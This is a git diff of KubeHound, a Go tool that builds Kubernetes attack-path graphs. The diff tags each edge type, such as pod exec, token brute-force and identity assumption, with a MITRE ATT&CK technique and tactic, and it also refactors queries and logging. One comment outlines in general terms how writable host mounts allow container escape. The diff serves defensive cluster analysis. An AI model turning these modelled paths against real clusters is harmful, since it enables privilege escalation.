AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *ExploitHostWrite) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*exploitHostWriteGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Volume, typed.Node) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Volume, typed.Node, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *ExploitHostWrite) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - volumes := adapter.MongoDB(store).Collection(collections.VolumeName) + volumes := adapter.MongoDB(ctx, store).Collection(collections.VolumeName) // Escape is possible if certain sensitive host directories are mounted into the container with write permissions. // This enables a container to add cron jobs, write SSH keys, write binaries etc to gain execution in the host. With diff --git a/pkg/kubehound/graph/edge/identity_assume_container.go b/pkg/kubehound/graph/edge/identity_assume_container.go index 6bba52a0e..f058ed98d 100644 --- a/pkg/kubehound/graph/edge/identity_assume_container.go +++ b/pkg/kubehound/graph/edge/identity_assume_container.go @@ -36,19 +36,30 @@ func (e *IdentityAssumeContainer) Name() string { return "IdentityAssumeContainer" } +func (e *IdentityAssumeContainer) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueValidAccounts +} + +func (e *IdentityAssumeContainer) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *IdentityAssumeContainer) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*containerIdentityGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Container, typed.Identity) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Container, typed.Identity, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *IdentityAssumeContainer) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - containers := adapter.MongoDB(store).Collection(collections.ContainerName) + containers := adapter.MongoDB(ctx, store).Collection(collections.ContainerName) pipeline := bson.A{ bson.M{ "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/identity_assume_node.go b/pkg/kubehound/graph/edge/identity_assume_node.go index 91432acf5..bdf696b4f 100644 --- a/pkg/kubehound/graph/edge/identity_assume_node.go +++ b/pkg/kubehound/graph/edge/identity_assume_node.go @@ -36,19 +36,30 @@ func (e *IdentityAssumeNode) Name() string { return "IdentityAssumeNode" } +func (e *IdentityAssumeNode) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueValidAccounts +} + +func (e *IdentityAssumeNode) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *IdentityAssumeNode) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*nodeIdentityGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Node, typed.Identity) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Node, typed.Identity, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *IdentityAssumeNode) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - nodes := adapter.MongoDB(store).Collection(collections.NodeName) + nodes := adapter.MongoDB(ctx, store).Collection(collections.NodeName) // Nodes will either have a dedicated user based on node name or use the default system:nodes group // See reference for details: https://kubernetes.io/docs/reference/access-authn-authz/node/ diff --git a/pkg/kubehound/graph/edge/permission_discover.go b/pkg/kubehound/graph/edge/permission_discover.go index be8248f54..153be9be8 100644 --- a/pkg/kubehound/graph/edge/permission_discover.go +++ b/pkg/kubehound/graph/edge/permission_discover.go @@ -35,19 +35,30 @@ func (e *PermissionDiscover) Name() string { return "PermissionDiscover" } +func (e *PermissionDiscover) AttckTechniqueID() AttckTechniqueID { + return AttckTechniquePermissionGroupsDiscovery +} + +func (e *PermissionDiscover) AttckTacticID() AttckTacticID { + return AttckTacticDiscovery +} + func (e *PermissionDiscover) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*permissionDiscoverGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Identity, typed.PermissionSet) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Identity, typed.PermissionSet, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *PermissionDiscover) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := bson.A{ bson.M{ @@ -111,13 +122,6 @@ func (e *PermissionDiscover) Stream(ctx context.Context, store storedb.Provider, "", }, }, - // service account so no namespace checks needed - bson.M{ - "$eq": bson.A{ - "$result.subjects.subject.kind", - "ServiceAccount", - }, - }, // clusterrolerbinding so no namespace checks needed bson.M{ "$eq": bson.A{ diff --git a/pkg/kubehound/graph/edge/pod_attach.go b/pkg/kubehound/graph/edge/pod_attach.go index b4107086e..1e990b84f 100644 --- a/pkg/kubehound/graph/edge/pod_attach.go +++ b/pkg/kubehound/graph/edge/pod_attach.go @@ -36,19 +36,30 @@ func (e *PodAttach) Name() string { return "PodAttach" } +func (e *PodAttach) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAdministrationCommand +} + +func (e *PodAttach) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *PodAttach) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*podAttachGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Node, typed.Pod) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Node, typed.Pod, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *PodAttach) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - pods := adapter.MongoDB(store).Collection(collections.PodName) + pods := adapter.MongoDB(ctx, store).Collection(collections.PodName) // We just need a 1:1 mapping of the node and pod to create this edge projection := bson.M{"_id": 1, "node_id": 1} diff --git a/pkg/kubehound/graph/edge/pod_create.go b/pkg/kubehound/graph/edge/pod_create.go index 0efcca666..61c1a6884 100644 --- a/pkg/kubehound/graph/edge/pod_create.go +++ b/pkg/kubehound/graph/edge/pod_create.go @@ -36,6 +36,14 @@ func (e *PodCreate) Name() string { return "PodCreate" } +func (e *PodCreate) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueDeployContainer +} + +func (e *PodCreate) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *PodCreate) BatchSize() int { if e.cfg.LargeClusterOptimizations { // Under optimization this becomes a very cheap operation @@ -72,7 +80,6 @@ func (e *PodCreate) Traversal() types.EdgeTraversal { if e.cfg.LargeClusterOptimizations { // In large clusters this can explode the number of edges and we can safely assume this is a critical issue g. - //nolint:asasalint // required due to constraints in the gremlin API Inject(inserts). Unfold(). As("rpc"). @@ -82,17 +89,22 @@ func (e *PodCreate) Traversal() types.EdgeTraversal { "critical": true, }). AddE(e.Label()). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("Node"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). Has("class", "Node"). As("n"). V(inserts...). Has("critical", false). AddE(e.Label()). To("n"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -104,7 +116,7 @@ func (e *PodCreate) Traversal() types.EdgeTraversal { func (e *PodCreate) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ @@ -120,7 +132,7 @@ func (e *PodCreate) Stream(ctx context.Context, store storedb.Provider, _ cache. bson.M{"$or": bson.A{ bson.M{"resources": "pods"}, bson.M{"resources": "cronjobs"}, - bson.M{"resources": "deamonsets"}, + bson.M{"resources": "daemonsets"}, bson.M{"resources": "deployments"}, bson.M{"resources": "jobs"}, bson.M{"resources": "replicasets"}, diff --git a/pkg/kubehound/graph/edge/pod_exec.go b/pkg/kubehound/graph/edge/pod_exec.go index b37c674ff..c30f22248 100644 --- a/pkg/kubehound/graph/edge/pod_exec.go +++ b/pkg/kubehound/graph/edge/pod_exec.go @@ -36,6 +36,14 @@ func (e *PodExec) Name() string { return "PodExec" } +func (e *PodExec) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAdministrationCommand +} + +func (e *PodExec) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *PodExec) BatchSize() int { if e.cfg.LargeClusterOptimizations { // Under optimization this becomes a very cheap operation @@ -72,7 +80,6 @@ func (e *PodExec) Traversal() types.EdgeTraversal { if e.cfg.LargeClusterOptimizations { // In large clusters this can explode the number of edges and we can safely assume this is a critical issue g. - //nolint:asasalint // required due to constraints in the gremlin API Inject(inserts). Unfold(). As("rpe"). @@ -82,17 +89,22 @@ func (e *PodExec) Traversal() types.EdgeTraversal { "critical": true, }). AddE(e.Label()). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("Pod"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). Has("class", "Pod"). As("p"). V(inserts...). Has("critical", false). AddE(e.Label()). To("p"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -104,7 +116,7 @@ func (e *PodExec) Traversal() types.EdgeTraversal { func (e *PodExec) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/pod_exec_namespace.go b/pkg/kubehound/graph/edge/pod_exec_namespace.go index 2bc7a4009..7e9a2edeb 100644 --- a/pkg/kubehound/graph/edge/pod_exec_namespace.go +++ b/pkg/kubehound/graph/edge/pod_exec_namespace.go @@ -35,13 +35,24 @@ func (e *PodExecNamespace) Name() string { return "PodExecNamespace" } +func (e *PodExecNamespace) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAdministrationCommand +} + +func (e *PodExecNamespace) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *PodExecNamespace) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*podExecNSGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Pod) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Pod, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } // Stream finds all roles that are namespaced and have pod/exec or equivalent wildcard permissions and matching pods. @@ -49,7 +60,7 @@ func (e *PodExecNamespace) Processor(ctx context.Context, oic *converter.ObjectI func (e *PodExecNamespace) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/pod_patch.go b/pkg/kubehound/graph/edge/pod_patch.go index d18f1a891..390839638 100644 --- a/pkg/kubehound/graph/edge/pod_patch.go +++ b/pkg/kubehound/graph/edge/pod_patch.go @@ -36,6 +36,14 @@ func (e *PodPatch) Name() string { return "PodPatch" } +func (e *PodPatch) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAdministrationCommand +} + +func (e *PodPatch) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *PodPatch) BatchSize() int { if e.cfg.LargeClusterOptimizations { // Under optimization this becomes a very cheap operation @@ -72,7 +80,6 @@ func (e *PodPatch) Traversal() types.EdgeTraversal { if e.cfg.LargeClusterOptimizations { // In large clusters this can explode the number of edges and we can safely assume this is a critical issue g. - //nolint:asasalint // required due to constraints in the gremlin API Inject(inserts). Unfold(). As("rpp"). @@ -82,17 +89,22 @@ func (e *PodPatch) Traversal() types.EdgeTraversal { "critical": true, }). AddE(e.Label()). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("Pod"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). Has("class", "Pod"). As("p"). V(inserts...). Has("critical", false). AddE(e.Label()). To("p"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -104,7 +116,7 @@ func (e *PodPatch) Traversal() types.EdgeTraversal { func (e *PodPatch) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ @@ -121,7 +133,7 @@ func (e *PodPatch) Stream(ctx context.Context, store storedb.Provider, _ cache.C bson.M{"$or": bson.A{ bson.M{"resources": "pods"}, bson.M{"resources": "cronjobs"}, - bson.M{"resources": "deamonsets"}, + bson.M{"resources": "daemonsets"}, bson.M{"resources": "deployments"}, bson.M{"resources": "jobs"}, bson.M{"resources": "replicasets"}, diff --git a/pkg/kubehound/graph/edge/pod_patch_namespace.go b/pkg/kubehound/graph/edge/pod_patch_namespace.go index 56f54e0ad..41a3a72ad 100644 --- a/pkg/kubehound/graph/edge/pod_patch_namespace.go +++ b/pkg/kubehound/graph/edge/pod_patch_namespace.go @@ -35,13 +35,24 @@ func (e *PodPatchNamespace) Name() string { return "PodPatchNamespace" } +func (e *PodPatchNamespace) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAdministrationCommand +} + +func (e *PodPatchNamespace) AttckTacticID() AttckTacticID { + return AttckTacticExecution +} + func (e *PodPatchNamespace) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*podPatchNSGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Pod) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Pod, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } // Stream finds all roles that are namespaced and have pod/exec or equivalent wildcard permissions and matching pods. @@ -49,7 +60,7 @@ func (e *PodPatchNamespace) Processor(ctx context.Context, oic *converter.Object func (e *PodPatchNamespace) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ @@ -66,7 +77,7 @@ func (e *PodPatchNamespace) Stream(ctx context.Context, store storedb.Provider, bson.M{"$or": bson.A{ bson.M{"resources": "pods"}, bson.M{"resources": "cronjobs"}, - bson.M{"resources": "deamonsets"}, + bson.M{"resources": "daemonsets"}, bson.M{"resources": "deployments"}, bson.M{"resources": "jobs"}, bson.M{"resources": "replicasets"}, diff --git a/pkg/kubehound/graph/edge/registry.go b/pkg/kubehound/graph/edge/registry.go index 248ee1251..8a95db464 100644 --- a/pkg/kubehound/graph/edge/registry.go +++ b/pkg/kubehound/graph/edge/registry.go @@ -1,6 +1,7 @@ package edge import ( + "context" "fmt" "sync" @@ -80,31 +81,33 @@ func (r *Registry) Verify() error { // Register loads the provided edge into the registry. func Register(edge Builder, flags RegistrationFlag) { + // No context as it is only init function + l := log.Logger(context.Background()).With(log.String("edge", edge.Name()), log.String("edge", edge.Label())) registry := Registered() switch { case flags&RegisterGraphMutation != 0: - log.I.Debugf("Registering mutating edge builder %s -> %s", edge.Name(), edge.Label()) + l.Debug("Registering mutating edge builder") if _, ok := registry.mutating[edge.Name()]; ok { - log.I.Fatalf("edge name collision: %s", edge.Name()) + l.Fatal("edge name collision") } registry.mutating[edge.Name()] = edge case flags&RegisterGraphDependency != 0: - log.I.Debugf("Registering dependent edge builder %s -> %s", edge.Name(), edge.Label()) + l.Debug("Registering dependent edge builder") if _, ok := registry.dependent[edge.Name()]; ok { - log.I.Fatalf("edge name collision: %s", edge.Name()) + l.Fatal("edge name collision") } dependent, ok := edge.(DependentBuilder) if !ok { - log.I.Fatalf("dependent edge must implement DependentBuilder: %s", edge.Name()) + l.Fatal("dependent edge must implement DependentBuilder") } registry.dependent[edge.Name()] = dependent default: - log.I.Debugf("Registering default edge builder %s -> %s", edge.Name(), edge.Label()) + l.Debug("Registering default edge builder") if _, ok := registry.simple[edge.Name()]; ok { - log.I.Fatalf("edge name collision: %s", edge.Name()) + l.Fatal("edge name collision") } registry.simple[edge.Name()] = edge diff --git a/pkg/kubehound/graph/edge/role_bind_crb_cr_cr.go b/pkg/kubehound/graph/edge/role_bind_crb_cr_cr.go index 40095327e..deb2c42dc 100644 --- a/pkg/kubehound/graph/edge/role_bind_crb_cr_cr.go +++ b/pkg/kubehound/graph/edge/role_bind_crb_cr_cr.go @@ -7,7 +7,6 @@ import ( "github.com/DataDog/KubeHound/pkg/kubehound/graph/adapter" "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" "github.com/DataDog/KubeHound/pkg/kubehound/models/converter" - "github.com/DataDog/KubeHound/pkg/kubehound/risk" "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" "github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb" "github.com/DataDog/KubeHound/pkg/kubehound/store/collections" @@ -35,6 +34,14 @@ func (e *RoleBindCrbCrCr) Name() string { return ClusterRoleBindName } +func (e *RoleBindCrbCrCr) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueValidAccounts +} + +func (e *RoleBindCrbCrCr) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *RoleBindCrbCrCr) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*roleBindGroup) if !ok { @@ -53,35 +60,38 @@ func (e *RoleBindCrbCrCr) Traversal() types.EdgeTraversal { return func(source *gremlin.GraphTraversalSource, inserts []any) *gremlin.GraphTraversal { g := source.GetGraphTraversal() - // Gathering all sensitives roles - sensitiveRoles := make([]string, 0, len(risk.CriticalRoleMap)) - for k := range risk.CriticalRoleMap { - sensitiveRoles = append(sensitiveRoles, k) - } - if e.cfg.LargeClusterOptimizations { // For larger clusters simply target specific roles to reduce number of attack paths g.V(). - HasLabel("PermissionSet"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). + Has("class", "PermissionSet"). Has("isNamespaced", false). // Temporary measure, until we scan and flag for sensitive roles - Has("role", P.Within(sensitiveRoles)). + Has("critical", true). + // Has("role", P.Within(sensitiveRoles)). As("r"). V(inserts...). Has("critical", false). AddE(e.Label()). To("r"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("PermissionSet"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). + Has("class", "PermissionSet"). Has("isNamespaced", false). As("i"). V(inserts...). Has("critical", false). AddE(e.Label()). To("i"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -92,7 +102,7 @@ func (e *RoleBindCrbCrCr) Traversal() types.EdgeTraversal { func (e *RoleBindCrbCrCr) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) // Handle clusterrolebindings against clusterroles pipeline := []bson.M{ // $match stage diff --git a/pkg/kubehound/graph/edge/role_bind_crb_cr_r.go b/pkg/kubehound/graph/edge/role_bind_crb_cr_r.go index 18721051b..921049f2b 100644 --- a/pkg/kubehound/graph/edge/role_bind_crb_cr_r.go +++ b/pkg/kubehound/graph/edge/role_bind_crb_cr_r.go @@ -7,7 +7,6 @@ import ( "github.com/DataDog/KubeHound/pkg/kubehound/graph/adapter" "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" "github.com/DataDog/KubeHound/pkg/kubehound/models/converter" - "github.com/DataDog/KubeHound/pkg/kubehound/risk" "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" "github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb" "github.com/DataDog/KubeHound/pkg/kubehound/store/collections" @@ -35,6 +34,14 @@ func (e *RoleBindCrbCrR) Name() string { return RoleBindCrbCrRName } +func (e *RoleBindCrbCrR) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueValidAccounts +} + +func (e *RoleBindCrbCrR) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *RoleBindCrbCrR) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*roleBindGroup) if !ok { @@ -53,35 +60,38 @@ func (e *RoleBindCrbCrR) Traversal() types.EdgeTraversal { return func(source *gremlin.GraphTraversalSource, inserts []any) *gremlin.GraphTraversal { g := source.GetGraphTraversal() - // Gathering all sensitives roles - sensitiveRoles := make([]string, 0, len(risk.CriticalRoleMap)) - for k := range risk.CriticalRoleMap { - sensitiveRoles = append(sensitiveRoles, k) - } - if e.cfg.LargeClusterOptimizations { // For larger clusters simply target specific roles to reduce number of attack paths g.V(). - HasLabel("PermissionSet"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). + Has("class", "PermissionSet"). Has("isNamespaced", true). // Temporary measure, until we scan and flag for sensitive roles - Has("role", P.Within(sensitiveRoles)). + Has("critical", true). + // Has("role", P.Within(sensitiveRoles)). As("r"). V(inserts...). Has("critical", false). AddE(e.Label()). To("r"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("PermissionSet"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). + Has("class", "PermissionSet"). Has("isNamespaced", true). As("i"). V(inserts...). Has("critical", false). AddE(e.Label()). To("i"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -92,7 +102,7 @@ func (e *RoleBindCrbCrR) Traversal() types.EdgeTraversal { func (e *RoleBindCrbCrR) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) // Handle clusterrolebindings against clusterroles pipeline := []bson.M{ // $match stage diff --git a/pkg/kubehound/graph/edge/role_bind_rb_rb_r.go b/pkg/kubehound/graph/edge/role_bind_rb_rb_r.go index 4600bf81e..f3389c46d 100644 --- a/pkg/kubehound/graph/edge/role_bind_rb_rb_r.go +++ b/pkg/kubehound/graph/edge/role_bind_rb_rb_r.go @@ -39,19 +39,30 @@ func (e *RoleBindRbRbR) Name() string { return RoleBindspaceName } +func (e *RoleBindRbRbR) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueValidAccounts +} + +func (e *RoleBindRbRbR) AttckTacticID() AttckTacticID { + return AttckTacticPrivilegeEscalation +} + func (e *RoleBindRbRbR) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*roleBindNameSpaceGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.FromPerm, typed.ToPerm) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.FromPerm, typed.ToPerm, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *RoleBindRbRbR) Stream(ctx context.Context, store storedb.Provider, c cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := bson.A{ bson.M{ "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/share_ps_namespace.go b/pkg/kubehound/graph/edge/share_ps_namespace.go index e3a20e181..bda6d9eec 100644 --- a/pkg/kubehound/graph/edge/share_ps_namespace.go +++ b/pkg/kubehound/graph/edge/share_ps_namespace.go @@ -38,6 +38,14 @@ func (e *SharePSNamespace) Name() string { return "SharePSNamespace" } +func (e *SharePSNamespace) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueTaintedSharedContent +} + +func (e *SharePSNamespace) AttckTacticID() AttckTacticID { + return AttckTacticLateralMovement +} + // Processor delegates the processing tasks to the generic containerEscapeProcessor. func (e *SharePSNamespace) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*sharedPsNamespaceGroupPair) @@ -45,13 +53,16 @@ func (e *SharePSNamespace) Processor(ctx context.Context, oic *converter.ObjectI return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.ContainerA, typed.ContainerB) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.ContainerA, typed.ContainerB, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *SharePSNamespace) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - coll := adapter.MongoDB(store).Collection(collections.PodName) + coll := adapter.MongoDB(ctx, store).Collection(collections.PodName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/token_bruteforce.go b/pkg/kubehound/graph/edge/token_bruteforce.go index 87cc98343..be1a6c4a4 100644 --- a/pkg/kubehound/graph/edge/token_bruteforce.go +++ b/pkg/kubehound/graph/edge/token_bruteforce.go @@ -35,6 +35,14 @@ func (e *TokenBruteforce) Name() string { return "TokenBruteforceCluster" } +func (e *TokenBruteforce) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueStealApplicationAccessTokens +} + +func (e *TokenBruteforce) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *TokenBruteforce) BatchSize() int { if e.cfg.LargeClusterOptimizations { // Under optimization this becomes a very cheap operation @@ -64,24 +72,31 @@ func (e *TokenBruteforce) Traversal() types.EdgeTraversal { if e.cfg.LargeClusterOptimizations { // For larger clusters simply target the system:masters group to reduce redundant attack paths g.V(). - HasLabel("Identity"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). + Has("class", "Identity"). Has("name", "system:masters"). As("i"). V(inserts...). Has("critical", false). AddE(e.Label()). To("i"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("Identity"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). Has("class", "Identity"). As("i"). V(inserts...). Has("critical", false). AddE(e.Label()). To("i"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -93,7 +108,7 @@ func (e *TokenBruteforce) Traversal() 